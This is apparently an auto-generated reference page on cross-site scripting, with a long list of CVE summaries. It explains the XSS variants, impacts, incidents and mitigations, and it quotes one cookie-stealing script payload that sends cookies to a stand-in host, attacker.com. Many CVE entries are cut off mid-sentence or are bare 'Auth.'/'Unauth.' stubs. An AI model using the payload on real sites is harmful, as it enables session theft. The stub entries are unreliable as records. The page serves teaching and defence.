Cross-Site Scripting
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
How It Works
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.
The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.
A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.
Impact
- Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
- Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
- Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
- Keylogging: Monitor and exfiltrate everything users type on the compromised page
- Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
- Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests
Real-World Examples
A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.
eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.
British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.
Mitigation
- Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
- Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
- HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
- Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
- DOM-based XSS prevention: Use safe APIs like
textContentinstead ofinnerHTML; avoid passing user data to dangerous sinks likeeval()
Recent CVEs (40886)
The Login Screen Manager WordPress plugin through 3.5.2 does not sanitize and escape some of its settings, which could allow high-privilege users such as admin to perform Stored Cross-Site Scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The EventPrime WordPress plugin before 3.2.0 does not sanitise and escape a parameter before outputting it back in the page, leading to an HTML Injection on the plugin in the search area of the. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
The Memberlite Shortcodes WordPress plugin before 1.3.9 does not validate and escape some of its shortcode attributes before outputting them back in the page, which could allow users with a role as. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The E2Pdf WordPress plugin before 1.20.20 does not sanitize and escape some of its settings, which could allow high privilege users to perform Cross-Site Scripting attacks even when the. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The Fattura24 WordPress plugin before 6.2.8 does not sanitize or escape the 'id' parameter before outputting it back in the page, leading to a reflected Cross-Site Scripting vulnerability. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
The WP Meta and Date Remover WordPress plugin before 2.2.0 provides an AJAX endpoint for configuring the plugin settings. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The Popup box WordPress plugin before 3.7.2 does not sanitize and escape some Popup fields, which could allow high-privilege users such as an administrator to inject arbitrary web scripts even when. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The EventPrime WordPress plugin before 3.2.0 does not sanitise and escape some parameters before outputting them back in the page, leading to a Reflected Cross-Site Scripting which could be used. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
The Live updates from Excel plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'ipushpull_page' shortcode in versions up to, and including, 2.3.2 due to insufficient. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
The idbbee plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'idbbee' shortcode in versions up to, and including, 1.0 due to insufficient input sanitization and. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The iframe forms plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'iframe' shortcode in versions up to, and including, 1.0 due to insufficient input sanitization and output. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Cross-site Scripting (XSS) - Stored in GitHub repository pimcore/pimcore prior to 11.1.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Best Courier Management System v1.0 is vulnerable to Cross Site Scripting (XSS) in the change username field. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Cross Site Scripting vulnerability in GetSimpleCMS v.3.4.0a allows a remote attacker to execute arbitrary code via the a crafted payload to the components.php function. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Cross-site Scripting (XSS) - Stored in GitHub repository thorsten/phpmyfaq prior to 3.2.2. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
Cross-site Scripting (XSS) - Stored in GitHub repository thorsten/phpmyfaq prior to 3.2.1. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
Cross-site Scripting (XSS) - Reflected in GitHub repository thorsten/phpmyfaq prior to 3.2.2. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.
Cross-site Scripting (XSS) - Stored in GitHub repository microweber/microweber prior to 2.0. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
Frigate is an open source network video recorder. Rated medium severity (CVSS 4.7), this vulnerability is remotely exploitable, no authentication required. Public exploit code available and no vendor patch available.
BigBlueButton is an open-source virtual classroom. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
baserCMS is a website development framework. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
In SAP Enable Now - versions WPB_MANAGER 1.0, WPB_MANAGER_CE 10, WPB_MANAGER_HANA 10, ENABLE_NOW_CONSUMP_DEL 1704, the X-FRAME-OPTIONS response header is not implemented, allowing an unauthenticated. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
The Accordion plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'tcpaccordion' shortcode in all versions up to, and including, 2.6 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
The Simple Shortcodes plugin for WordPress is vulnerable to Stored Cross-Site Scripting via shortcodes in versions up to, and including, 1.0.20 due to insufficient input sanitization and output. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The Shortcode Menu plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'shortmenu' shortcode in versions up to, and including, 3.2 due to insufficient input sanitization and output. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The Carousel, Recent Post Slider and Banner Slider plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'spice_post_slider' shortcode in versions up to, and including, 2.0 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
The Buzzsprout Podcasting plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'buzzsprout' shortcode in versions up to, and including, 1.8.4 due to insufficient input sanitization. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The FareHarbor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via shortcodes in versions up to, and including, 3.6.7 due to insufficient input sanitization and output escaping on. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
The Bellows Accordion Menu plugin for WordPress is vulnerable to Stored Cross-Site Scripting via shortcodes in versions up to, and including, 1.4.2 due to insufficient input sanitization and output. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
The Giveaways and Contests by RafflePress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'rafflepress' and 'rafflepress_gutenberg' shortcode in versions up to, and. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
Cross-site Scripting (XSS) vulnerability in BlueSpiceAvatars extension of BlueSpice allows logged in user to inject arbitrary HTML into the profile image dialog on Special:Preferences. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Cross-site scripting vulnerability in Movable Type series allows a remote authenticated attacker to inject an arbitrary script. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Cross-site Scripting (XSS) - Stored in GitHub repository dolibarr/dolibarr prior to 16.0.5. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
Moodle 4.3 allows /grade/report/grader/index.php?searchvalue= reflected XSS when logged in as a teacher. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
A vulnerability classified as problematic was found in AlexanderLivanov FotosCMS2 up to 2.4.3. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
Proxmox proxmox-widget-toolkit before 4.0.9, as used in multiple Proxmox products, allows XSS via the edit notes feature. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
A vulnerability classified as problematic was found in hu60t hu60wap6. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
Cross Site Scripting vulnerability in juzawebCMS v.3.4 and before allows a remote attacker to execute arbitrary code via a crafted payload to the username parameter of the registration page. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
baserCMS is a website development framework with WebAPI that runs on PHP8 and CakePHP4. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
A stored cross-site scripting (XSS) vulnerability in /home/user/edit_submit of gougucms v4.08.18 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The VK Filter Search plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'vk_filter_search' shortcode in all versions up to, and including, 2.3.1 due to insufficient. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
The Neon text plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's neontext_box shortcode in all versions up to, and including, 1.1 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
The Animated Counters plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's shortcode(s) in all versions up to, and including, 1.7 due to insufficient input sanitization. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
The CallRail Phone Call Tracking plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'callrail_form' shortcode in versions up to, and including, 0.5.2 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
Cross Site Scripting (XSS) vulnerability in PwnCYN YXBOOKCMS v.1.0.2 allows a physically proximate attacker to execute arbitrary code via the library name function in the general settings component. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Cross Site Scripting (XSS) vulnerability in PwnCYN YXBOOKCMS v.1.0.2 allows a remote attacker to execute arbitrary code via the reader management and book input modules. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
A vulnerability, which was classified as problematic, was found in flusity CMS. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
A vulnerability, which was classified as problematic, has been found in flusity CMS.php. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
Cross Site Scripting vulnerability in FanCMS v.1.0.0 allows an attacker to execute arbitrary code via the content1 parameter in the demo.php file. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
ZenTao Biz version 4.1.3 and before has a Cross Site Scripting (XSS) vulnerability in the Version Library. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
ZenTao Enterprise Edition version 4.1.3 and before is vulnerable to Cross Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
A vulnerability was found in flusity CMS and classified as problematic.php of the component Dashboard. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
A vulnerability, which was classified as problematic, was found in SourceCodester Sticky Notes App 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
A vulnerability classified as problematic has been found in Dragon Path 707GR1 up to 20231022. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Sourcecodester Free and Open Source inventory management system 1.0 is vulnerable to Cross Site Scripting (XSS) via the Add supplier function. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
ZITADEL is an identity infrastructure management system. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
ILIAS 7.25 (2023-09-12) allows any authenticated user to execute arbitrary operating system commands remotely, when a highly privileged account accesses an XSS payload. Rated critical severity (CVSS 9.0), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Xolo CMS v0.11 was discovered to contain a reflected cross-site scripting (XSS) vulnerability. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
Cross-Site Scripting (XSS) vulnerability in PHPGurukul Nipah virus (NiV) " Testing Management System v.1.0 allows attackers to execute arbitrary code via a crafted payload injected into the State. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
D-Tale is the combination of a Flask back-end and a React front-end to view & analyze Pandas data structures. Rated critical severity (CVSS 9.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Rated critical severity (CVSS 9.6), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.
XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Rated critical severity (CVSS 9.0), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
Quick Facts
- Typical Severity
- MEDIUM
- Category
- web
- Total CVEs
- 40886